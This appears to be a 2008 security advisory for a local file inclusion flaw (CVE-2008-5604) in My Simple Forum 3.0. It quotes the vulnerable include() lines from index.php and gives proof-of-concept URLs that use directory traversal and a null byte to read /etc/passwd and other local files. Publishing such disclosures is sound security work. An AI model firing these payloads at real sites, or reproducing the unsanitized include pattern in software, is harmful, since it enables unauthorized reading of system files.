My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability

2008.12.19

Credit: cOndemned

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-5604

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

/*
$Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $
My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability
Bug discovered by cOndemned
Script download: http://drennansoft.com/index.php?action=download&id=1
Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura
*/
Source of index.php:
49. if(file_exists('site/'.$_GET['action'].'.php')) {
50. include('site/'.$_GET['action'].'.php');
51. } else {
local file inclusion on line 50
Proof of concept:
http://[host]/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00
http://[host]/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00

References:

http://osvdb.org/50433

See this note in RAW Version

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My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability

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